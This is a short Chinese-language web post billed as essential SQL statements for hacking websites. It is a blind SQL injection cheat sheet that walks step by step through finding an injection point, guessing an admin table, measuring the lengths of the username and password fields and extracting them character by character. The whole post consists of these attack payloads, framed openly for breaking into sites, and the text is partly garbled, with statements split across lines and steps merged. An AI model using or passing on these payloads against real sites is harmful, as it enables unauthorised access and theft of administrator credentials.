入侵网站必备Sql语句:(经典语句)

核心提示：判断有无注入点; and 1=1 and 1=22.猜表一般的表的名称无非是admin adminuser user passpassword 等..and 0(select count(*) from *)and 0(selectcount(*) from admin) ---判断是否存在admin这张表3.猜帐号数

判断有无注入点

; and 1=1 and 1=2

2.猜表一般的表的名称无非是admin adminuser user pass

password 等..

and 0(select count(*) from *)

and 0(select

count(*) from admin) ---判断是否存在admin这张表

3.猜帐号数目 如果遇到00)--

and 1=(select

count(*) from admin where len(用户字段名称name)>0)

and 1=(select count(*) from

admin where len(密码字段名称password)>0)

5.猜解各个字段的长度

猜解长度就是把>0变换 直到返回正确页面为止

and 1=(select count(*) from admin where

len(*)>0)

and 1=(select count(*) from admin where len(name)>6) 错误

and 1=(select count(*) from admin where len(name)>5) 正确 长度是6

and

1=(select count(*) from admin where len(name)=6) 正确

and 1=(select

count(*) from admin where len(password)>11) 正确

and 1=(select count(*)

from admin where len(password)>12) 错误 长度是12

and 1=(select count(*) from

admin where len(password)=12) 正确

6.猜解字符

and 1=(select count(*) from

admin where left(name,1)=a) ---猜解用户帐号的第一位

and 1= (select count(*) from admin

where left(name,2)=ab)---猜解用户帐号的第二位

就这样一次加一个字符这样猜,猜到够你刚才猜出来的多少位了就对了,帐号就算出来了

and 1=(select top 1 count(*) from Admin where Asc(mid (pass,5,1))=51) --

这个查询语句可以猜解中文的用户和密码.只要把后面的数字换成中文的ASSIC码就OK.最后把结果再转换成字符.